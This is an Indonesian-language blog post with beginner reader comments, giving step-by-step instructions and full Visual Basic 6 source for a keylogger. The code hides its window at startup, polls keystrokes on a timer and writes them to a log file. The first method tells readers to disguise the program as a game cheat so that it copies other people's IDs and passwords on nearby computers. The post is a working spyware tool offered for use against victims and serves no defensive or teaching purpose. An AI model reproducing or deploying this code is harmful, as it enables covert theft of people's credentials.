Friday, March 23, 2012

2 Cara Membuat Key Logger Dengan VB6 (Visual Basic 6.0)

CARA 1
Nie Gan,Ane dah lama tdk post skrng ane post.Ane Mw Kasih tw cara membuat keylogger dengan vb6
Udah  Langsung Aja
 Download Visual basic Nya  Disini
 Sc nya Juga  Disini

Cara nya :
1.Buka VB 
2.Pilih Standart .exe
3.Klik Kanan Form 1
4.Pilih View code Teruz Paste SC yg di download td ke View Code
5.Buat 1 text Box
6.Buat 1 Timer
7. Interval Timer nya diubah menjadi 1 
Oh...Ya Supaya gak kelihatan kyk KeyLogger
Bikin Seperti Cheat Game Yang akan Kamu Buat
Contoh: 
Cara Pakainya:
1.Buka Key Logger Yang Kamu Pakai
2.Biar kan Keylogger itu !
3.Sejak Kamu menulis ID & Password Key Logger Itu akan Menyalin ID & Password mu
Cheat Ini Hanya Untuk Komputer Terdekat 
Dah....Selesai Dech....
Selamat Mencoba KeyLogger nya





Cara 2
Buka Visual Basic
Trus Paste Codenya Ke View Code Cara masuk ke viev code
Klik Kanan Form 1 ->View Code->Paste Code
Kasih Timer 1 interval 10

CODE
=========
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
kode As Integer
bawah As String
atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "

End Sub

Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long

If (Dir(App.Path & "\mylog.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If

FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub
=========

4 komentar:

  1. :b: Saya Bingung...
    Jangan Lupa KUnjungi > http://sanin-ninjasaga.blogspot.com/

    ReplyDelete
  2. :8: Gan ane bisa gan
    Http://Closes.co.cc

    ReplyDelete
  3. :B: bINGGUNG SAYA GAk tau caranya dikasih foto aja gan

    ReplyDelete
  4. gan klo udah slesai programnya uda di save dan klo dijalanini lgi gg maw gi mna cranya yha gan...?

    ReplyDelete

Terimakasih sudah berkunjung ^_^ , Tolong tinggalkan pesan atau komentar agar saya bisa berbenah :) dimohon untuk tidak SPAM dan LIVE LINK di blog saya :)

TERIMAKASIH ^_^